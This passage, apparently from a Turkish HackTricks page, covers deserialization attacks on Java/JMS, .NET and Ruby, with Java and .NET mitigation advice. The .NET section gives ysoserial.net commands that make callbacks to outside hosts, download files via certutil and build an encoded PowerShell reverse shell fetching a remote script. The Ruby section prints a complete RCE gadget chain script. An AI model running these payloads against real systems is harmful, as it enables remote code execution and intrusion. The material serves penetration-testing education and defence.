arayüzü aracılığıyla serileştirme filtrelerini tanıttı ve serileştirilmiş nesnelerin serileştirilmeden önce karşılamaları gereken kriterleri belirlemek için güçlü bir mekanizma sağlar. Bu filtreler genel olarak veya her akış için uygulanabilir, serileştirme işlemi üzerinde granüler bir kontrol sunar.
Serileştirme filtrelerinden yararlanmak için tüm serileştirme işlemlerine uygulanan genel bir filtre belirleyebilir veya belirli akışlar için dinamik olarak yapılandırabilirsiniz. Örneğin:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Geliştirilmiş Güvenlik İçin Harici Kütüphanelerden Yararlanma: NotSoSerial, jdeserialize ve Kryo gibi kütüphaneler, Java deserializasyonunu kontrol etmek ve izlemek için gelişmiş özellikler sunar. Bu kütüphaneler, sınıfları beyaz listeye veya siyah listeye alma, deserializasyondan önce serileştirilmiş nesneleri analiz etme ve özel serileştirme stratejileri uygulama gibi ek güvenlik katmanları sağlayabilir.
- NotSoSerial, güvensiz kodların yürütülmesini önlemek için deserializasyon süreçlerini engeller.
- jdeserialize, serileştirilmiş Java nesnelerinin deserialize edilmeden analiz edilmesine izin vererek potansiyel olarak kötü amaçlı içeriği belirlemeye yardımcı olur.
- Kryo, hız ve verimliliği vurgulayan alternatif bir serileştirme çerçevesidir ve güvenliği artırabilecek yapılandırılabilir serileştirme stratejileri sunar.
Referanslar
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserializasyon ve ysoserial konuşması: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Gadgetinspector hakkında konuşma: https://www.youtube.com/watch?v=wPbW6zQ52w8 ve slaytlar: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec makalesi: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java ve .Net JSON deserializasyon makalesi: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, konuşma: https://www.youtube.com/watch?v=oUAeWhW5b8c ve slaytlar: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserializasyon CVE'leri: https://paper.seebug.org/123/
JNDI Enjeksiyonu ve log4Shell
JNDI Enjeksiyonu'nun ne olduğunu, RMI, CORBA ve LDAP aracılığıyla nasıl kötüye kullanılabileceğini ve log4shell'in nasıl sömürüleceğini (ve bu zafiyetin bir örneğini) aşağıdaki sayfada bulabilirsiniz:
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}
JMS - Java Message Service
Java Message Service (JMS) API, iki veya daha fazla istemci arasında mesaj göndermek için Java mesaj odaklı bir ara yazılım API'sidir. Üretici-tüketici sorununu ele almak için bir uygulamadır. JMS, Java Platform, Enterprise Edition (Java EE) bir parçasıdır ve Sun Microsystems tarafından geliştirilen ancak daha sonra Java Community Process tarafından yönlendirilen bir spesifikasyonla tanımlanmıştır. Java EE'ye dayalı uygulama bileşenlerinin mesaj oluşturmasına, göndermesine, almasına ve okumasına izin veren bir mesajlaşma standardıdır. Dağıtılmış bir uygulamanın farklı bileşenleri arasındaki iletişimin gevşek bağlı, güvenilir ve asenkron olmasına olanak tanır. (Kaynak: Vikipedi).
Ürünler
Bu aracıyı mesaj göndermek için kullanan birkaç ürün bulunmaktadır:
Sömürü
Yani, temelde birçok hizmet JMS'yi tehlikeli bir şekilde kullanıyor. Bu nedenle, bu hizmetlere mesaj gönderme yetkiniz varsa (genellikle geçerli kimlik bilgilerine ihtiyacınız olacaktır) serileştirilmiş kötü amaçlı nesneler gönderebilir ve bunlar tüketici/abone tarafından deserialize edilebilir.
Bu, bu sömürüde mesajı kullanacak tüm istemcilerin enfekte olacağı anlamına gelir.
Bir hizmetin zafiyetli olmasına rağmen (çünkü kullanıcı girdilerini güvensiz bir şekilde deserialize ediyor olabilir), yine de zafiyeti sömürmek için geçerli araçları bulmanız gerekeceğini unutmayın.
JMET aracı, bilinen araçları kullanarak serileştirilmiş birkaç kötü amaçlı nesne göndererek bu hizmetlere bağlanıp saldırı düzenlemek için oluşturulmuştur. Bu saldırılar, hizmet hala zafiyetli ise ve kullanılan araçlardan herhangi biri zafiyetli uygulamanın içindeyse çalışacaktır.
Referanslar
- JMET konuşması: https://www.youtube.com/watch?v=0h8DWiOWGGA
- Slaytlar: https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
.Net
.Net bağlamında, deserializasyon saldırıları, Java'da bulunanlarla benzer şekilde çalışır, burada araçlar nesnenin deserializasyonu sırasında belirli kodları çalıştırmak için sömürülür.
Parmak İzi
WhiteBox
Kaynak kod, şu öğelerin varlığı açısından incelenmelidir:
TypeNameHandling
JavaScriptTypeResolver
Odak, türün kullanıcı tarafından kontrol edilen bir değişken tarafından belirlenmesine izin veren serileştiricilerde olmalıdır.
BlackBox
Arama, sunucu tarafında deserialize edilecek tür üzerinde kontrol sağlayan AAEAAAD///// veya benzer bir deserialization geçirebilecek deserialization hedeflemelidir. Bu, ancak bununla sınırlı olmamak kaydıyla, TypeObject
veya $type
içeren JSON veya XML yapılarını içerebilir.
ysoserial.net
Bu durumda, deserialization saldırılarını oluşturmak için ysoserial.net aracını kullanabilirsiniz. Git deposunu indirdikten sonra örneğin Visual Studio kullanarak aracı derlemeniz gerekmektedir.
ysoserial.net'in nasıl exploit oluşturduğunu öğrenmek isterseniz, ObjectDataProvider gadget + ExpandedWrapper + Json.Net biçimleyiciyi açıklayan bu sayfayı kontrol edebilirsiniz.
ysoserial.net'in ana seçenekleri: --gadget
, --formatter
, --output
ve --plugin
'dir.
--gadget
, deserialize sırasında komutları yürütmek için istismar edilecek sınıf/fonksiyonu belirtmek için kullanılır.--formatter
, saldırıyı serileştirmek için kullanılan yöntemi belirtir (yükü deserialize etmek için arka uçta hangi kütüphanenin kullanıldığını bilmeli ve aynısını kullanmalısınız)--output
, saldırıyı ham veya base64 kodlu olarak almak isteyip istemediğinizi belirtmek için kullanılır. Not olarak, ysoserial.net yükü UTF-16LE ile kodlayacaktır (Windows'ta varsayılan olarak kullanılan kodlama) bu nedenle hamı alıp sadece bir linux konsolundan kodlarsanız, çalışmamasına neden olabilecek bazı kodlama uyumluluk sorunları olabilir (HTB JSON kutusunda yük hem UTF-16LE hem de ASCII'de çalıştı ancak bu her zaman çalışacağı anlamına gelmez).--plugin
, ysoserial.net, ViewState gibi belirli çerçeveler için exploitler oluşturmak için eklentileri destekler
Daha fazla ysoserial.net parametresi
--minify
, daha küçük bir yük sağlar (mümkünse)--raf -f Json.Net -c "anything"
Bu, sağlanan bir biçimleyiciyle (Json.Net
bu durumda) kullanılabilecek tüm gadget'ları belirtecektir--sf xml
, bir gadget (-g
) belirtebilir ve ysoserial.net "xml" içeren biçimleyicileri arayacaktır (büyük/küçük harf duyarlı değildir)
ysoserial örnekleri exploit oluşturmak için:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net'in her bir exploitin nasıl çalıştığını daha iyi anlamanıza yardımcı olan çok ilginç bir parametresi vardır: --test
Bu parametreyi belirtirseniz, ysoserial.net exploit'i yerel olarak deneyecek, böylece yükünüzün doğru bir şekilde çalışıp çalışmadığını test edebilirsiniz.
Bu parametre faydalıdır çünkü kodu incelediğinizde aşağıdaki gibi kod parçaları bulacaksınız (ObjectDataProviderGenerator.cs adresinden):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Bu, saldırıyı test etmek için kodun serializersHelper.JsonNet_deserialize işlevini çağıracağı anlamına gelir.
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
Önceki kod, oluşturulan saldırıya karşı savunmasızdır. Dolayısıyla, bir .Net uygulamasında benzer bir şey bulursanız, muhtemelen o uygulama da savunmasızdır.
Bu nedenle, --test
parametresi, ysoserial.net'in oluşturabileceği deserialization saldırısına karşı savunmasız olan kod parçalarını anlamamıza olanak tanır.
ViewState
.Net'in __ViewState parametresini nasıl sömürmeye çalışacağınız hakkında bu POST'a bakın ve keyfi kod yürütmek için. Eğer kurban makinenin kullandığı sırları zaten biliyorsanız, bu yazıyı okuyun ve kod yürütmek için bilgi edinin.
Önleme
.Net'te deserialization ile ilişkili riskleri azaltmak için:
- Veri akışlarının kendi nesne türlerini tanımlamasına izin vermeyin. Mümkün olduğunda
DataContractSerializer
veyaXmlSerializer
kullanın. JSON.Net
için,TypeNameHandling
'iNone
olarak ayarlayın: %%%TypeNameHandling = TypeNameHandling.None%%%JavaScriptSerializer
'ıJavaScriptTypeResolver
ile kullanmaktan kaçının.- Deserialization yapılabilen türleri sınırlayın, .Net türleri ile ilişkili riskleri anlayarak, sunucu dosyalarının özelliklerini değiştirebilen
System.IO.FileInfo
gibi türlerden kaynaklanan hizmet reddi saldırılarına yol açabilecek potansiyel riskleri anlayın. - Riskli özelliklere sahip türlerle dikkatli olun,
System.ComponentModel.DataAnnotations.ValidationException
'ınValue
özelliği gibi sömürülebilecek özelliklere sahip türlerle dikkatli olun. - Saldırganların deserialization sürecini etkilemesini önlemek için tür oluşturmayı güvenli bir şekilde kontrol edin, hatta
DataContractSerializer
veyaXmlSerializer
bile savunmasız hale getirebilir. BinaryFormatter
veJSON.Net
için özel birSerializationBinder
kullanarak beyaz liste kontrolleri uygulayın.- .Net içindeki bilinen güvensiz deserialization araçları hakkında bilgi sahibi olun ve deserializer'ların bu türleri örneklememesini sağlayın.
- Potansiyel riskli kodu, WPF uygulamalarında
System.Windows.Data.ObjectDataProvider
gibi bilinen araçları, güvenilmeyen veri kaynaklarına maruz bırakmamak için internet erişimine sahip olmayan kodlardan izole edin.
Referanslar
- Java ve .Net JSON deserialization makalesi: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, sunum: https://www.youtube.com/watch?v=oUAeWhW5b8c ve slaytlar: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Ruby'de, seri hale getirme işlemi marshal kütüphanesindeki iki yöntemle kolaylaştırılır. İlk yöntem olan dump, bir nesneyi bir bayt akışına dönüştürmek için kullanılır. Bu işlem seri hale getirme olarak adlandırılır. Buna karşılık, ikinci yöntem olan load, bir bayt akışını bir nesneye geri dönüştürmek için kullanılır, bu işlem deserialization olarak adlandırılır.
Seri hale getirilmiş nesnelerin güvenliğini sağlamak için Ruby, HMAC (Hash-Based Message Authentication Code) kullanır, verinin bütünlüğünü ve doğruluğunu sağlar. Bu amaçla kullanılan anahtar, şu olası konumlardan birinde saklanır:
config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
/proc/self/environ
Ruby 2.X genel deserialization için RCE gadget zinciri (daha fazla bilgi için https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Ruby On Rails'i sömürmek için başka bir RCE zinciri: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @hacktricks_live'da takip edin.**
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.